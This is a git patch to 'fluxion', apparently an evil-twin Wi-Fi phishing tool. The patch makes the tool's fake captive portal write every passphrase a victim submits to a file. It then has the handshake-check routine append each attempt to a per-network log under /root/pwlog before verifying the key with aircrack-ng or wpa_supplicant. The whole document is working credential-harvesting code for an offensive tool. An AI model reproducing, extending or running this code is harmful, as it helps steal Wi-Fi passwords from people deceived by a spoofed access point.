From bc8b7d2e994076cae7106da3c3d8c9c2a4d73edc Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 20 Mar 2016 21:56:02 +0200 Subject: [PATCH] log password attempts --- fluxion | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 3b37ba0..1c06184 100755 --- a/fluxion +++ b/fluxion @@ -16,6 +16,7 @@ clear DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" +PASSLOG_PATH="/root/pwlog" # Deauth duration during handshake capture DEAUTHTIME="30" revision=1 @@ -460,6 +461,11 @@ if [ ! -d $HANDSHAKE_PATH ]; then mkdir -p $HANDSHAKE_PATH &>$flux_output_device fi +#create password log directory +if [ ! -d $PASSLOG_PATH ]; then + mkdir -p $PASSLOG_PATH &>$flux_output_device +fi + if [ $FLUX_DEBUG != 1 ]; then @@ -2516,11 +2522,17 @@ fclose(\$fp); \$filename = \"$DUMP_PATH/data.txt\"; \$filename2 = \"$DUMP_PATH/status.txt\"; \$intento = \"$DUMP_PATH/intento\"; +\$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; // Marge all the variables with text in a single variable. \$f_data= ''.\$key1.''; +\$pwlog = fopen(\$attemptlog, \"w\"); +fwrite(\$pwlog,\"\$f_data\"); +fwrite(\$pwlog,\"\n\"); +fclose(\$pwlog); + if ( (strlen(\$key1) < 8) ) { echo \"\"; @@ -2812,7 +2824,12 @@ function handshakecheck { fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then + echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then + cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log + rm -f $DUMP_PATH/pwattempt.txt + fi + + if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then echo \"2\">$DUMP_PATH/intento @@ -2825,6 +2842,11 @@ function handshakecheck { elif [ $authmode = "wpa_supplicant" ]; then echo " + if [ -f $DUMP_PATH/pwattempt.txt ]; then + cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log + rm -f $DUMP_PATH/pwattempt.txt + fi + wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg &